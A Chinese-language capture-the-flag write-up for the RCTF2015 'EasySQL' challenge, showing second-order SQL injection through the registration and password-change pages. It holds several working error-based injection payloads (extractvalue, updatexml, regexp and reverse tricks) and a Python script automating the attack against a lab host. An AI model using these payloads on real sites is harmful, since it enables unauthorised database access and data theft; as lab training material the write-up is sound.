• [wp][RCTF2015]EasySQL


    有修改密码怀疑是2次注入
    admin被注册
    sqli-lab24关中遇到过二次注入
    特地去看了下代码

    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    
    • 1

    一开始尝试admin’# 修改密码
    admin还是登陆不上
    使用admin"# 修改密码后,可以使用admin登陆上,但是没任何变化
    试下报错注入
    注册的时候发现有过滤

    1"||extractvalue(1,concat(0x7e,(database()),0x7e))#
    
    • 1

    得到数据库名:web_sqli

    1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),0x7e))#
    
    • 1

    得到表名article,flag,users
    盲猜列名 flag

    1"||extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e))#
    
    • 1

    获得"~RCTF{Good job! But flag not her"

    疯了,只能试下别的表,希望不要是被我修改了的admin密码

    1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)=('users'))),0x7e))#
    
    • 1

    real_flag_1s_here

    1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e))#
    
    • 1

    要截取长度

    1"||extractvalue(1,concat(0x7e,(mid(select(group_concat(real_flag_1s_here))from(users)),25,30)),0x7e))#
    
    • 1

    但是都过滤了还剩reverse

    看网上wp这里可以用正则

    1"||updatexml(1,concat(0x3a,((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")))),1)#
    
    • 1

    flag{39e03d63-12b8-480f-b56f-67

    1"||updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")))),1)#
    
    • 1

    }9c30afcd5376-f65b-f084-8b21-36

    拼接一下flag{39e03d63-12b8-480f-b56f-6735dcfa03c9}

    写下脚本

    import requests
    import time
    url="http://4c38467e-58d8-4f02-9b23-85db258bd948.node4.buuoj.cn:81"
    url_l=url+'/login.php'
    url_reg=url+'/register.php'
    url_ch=url+'/changepwd.php'
    
    # data='2"||extractvalue(1,concat(0x7e,(database()),0x7e))#'
    # data='2"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),0x7e))#'
    # data='''2"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)=('users'))),0x7e))#'''
    # data='''2"||updatexml(1,concat(0x3a,((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")))),1)#'''
    data='''2"||updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")))),1)#'''
    data_reg={'username':data,'password':1,'email':1}
    data_l={'username':data,'password':1}
    data_ch={'oldpass':1,'newpass':2}
    s=requests.Session()
    r=s.post(url_reg,data=data_reg)
    # print(r.text)
    r=s.post(url_l,data=data_l)
    # print(r.text)
    r=s.post(url_ch,data=data_ch)
    print(r.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    很简单的脚本,感觉这题写脚本会更快

  • 相关阅读:
    Java中如何获取一个字符串是什么类型
    Kubernetes 深入理解Kubernetes(二) 声明组织对象
    Redis应用问题解决(缓存穿透、击穿、雪崩、分布式锁)
    可变参数~
    TikTok快速起号技巧(上篇)
    一个C++基类的封装
    python - random函数
    【Day31】力扣算法(超详细思路+注释)[1441. 用栈操作构建数组 ] [621. 任务调度器]
    【C++】linux下的gdb程序调试
    C#《原CSharp》第三回 万文疑谋生思绪 璃月港口见清玉
  • 原文地址:https://blog.csdn.net/Yjlay/article/details/125622875